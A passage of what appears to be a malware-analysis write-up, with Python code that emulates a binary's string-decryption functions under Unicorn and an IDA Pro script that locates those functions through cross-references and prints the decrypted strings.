# This is our hook just for fun
hook1 = uc_engine.hook_add(uc.UC_HOOK_INTR, hook_int, None)
# Setup our arguments/buffers
EAX_BUFF = 0x500000
uc_engine.mem_map(EAX_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EAX, EAX_BUFF)
# This sort of works like a 'push' to push the buffer address onto the stack
EBP_BUFF = 0x600000
uc_engine.mem_map(EBP_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR, struct.pack('<I',EBP_BUFF))
EDI_BUFF = 0x700000
uc_engine.mem_map(EDI_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.reg_write(uc.x86_const.UC_X86_REG_EDI, EDI_BUFF)
ARG_BUFF = 0x400000
uc_engine.mem_map(ARG_BUFF, 0x1000, uc.UC_PROT_ALL)
uc_engine.mem_write(STACK_ADDR + 4, struct.pack('<I',ARG_BUFF))
FN_START = fn_address + CODE_ADDR
# This is a trick to set a "stop" address
FN_END = 0xDEADBEEF
# Push the "stop" address onto the stack to trigger stop on return
uc_engine.mem_write(STACK_ADDR, struct.pack('<I',0xDEADBEEF))
uc_engine.emu_start(FN_START, FN_END, 0, 0)
# Read the data buffer
arg_buff_data = uc_engine.mem_read(ARG_BUFF, 0x1000)
data_len = struct.unpack('<I', arg_buff_data[:4])[0]
data = arg_buff_data[4:4+data_len]
out = xor_crypt(data, key)
return out.replace(b'\x00',b'').decode('utf-8')
decrypt(0x147F1)
IDA Script to Find Encrypted String Functions
We know that the string data function is the last function call before the string decryption function calls so we can just use xrefs to the decryption functions then search backwards for the string data function call.
def test2():
f = ida_funcs.get_func(0x08268980)
fc = FlowChart(f, flags=FC_PREDS)
for block in fc:
print(f"Basic Block: {hex(block.start_ea)}")
print("------------------------------------")
# grab the last two instructions in the block
last_inst = idc.prev_head(block.end_ea)
penultimate_inst = idc.prev_head(last_inst)
ea = block.start_ea
while ea < block.end_ea:
dLine = idc.generate_disasm_line(ea, 1)
print(f"{hex(ea)}: " + dLine)
ea = idc.next_head(ea)
def get_string_fn(ptr_addr):
out = None
limt_count = 0
while limt_count < 10000:
ptr_addr = idc.prev_head(ptr_addr)
if is_code(ida_bytes.get_full_flags(ptr_addr)):
if idc.print_insn_mnem(ptr_addr) == 'call':
print(idc.get_operand_value(ptr_addr, 0))
out = idc.get_operand_value(ptr_addr, 0)
break
limt_count += 1
return out
def get_xref_list(fn_addr):
return [addr.frm for addr in idautils.XrefsTo(fn_addr)]
xref_list = get_xref_list(0x025A28)
str_fn_list = []
for xref in xref_list:
str_fn = get_string_fn(xref)
if str_fn is not None:
str_fn_list.append(str_fn)
str_fn_list = [0x254d4, 0x1644a, 0x147f1, 0x1607f, 0x1d6a4, 0x1be3d, 0x1babc, 0x1836d, 0x8a55, 0x8d44, 0x670f, 0x4270, 0xac35, 0xaab1, 0x8f89, 0x9d9c, 0x1d9d3, 0x14d18, 0x18aa1, 0x19765, 0x1a31c, 0x1ae60, 0x17571, 0x18f33, 0x192f4, 0x17de0, 0x15b41, 0x14d35, 0x167d4, 0x171af, 0x16e4f, 0x1cf67, 0x1c943, 0x17aa1]
for str_fn in str_fn_list:
try:
print(decrypt(str_fn))
except:
pass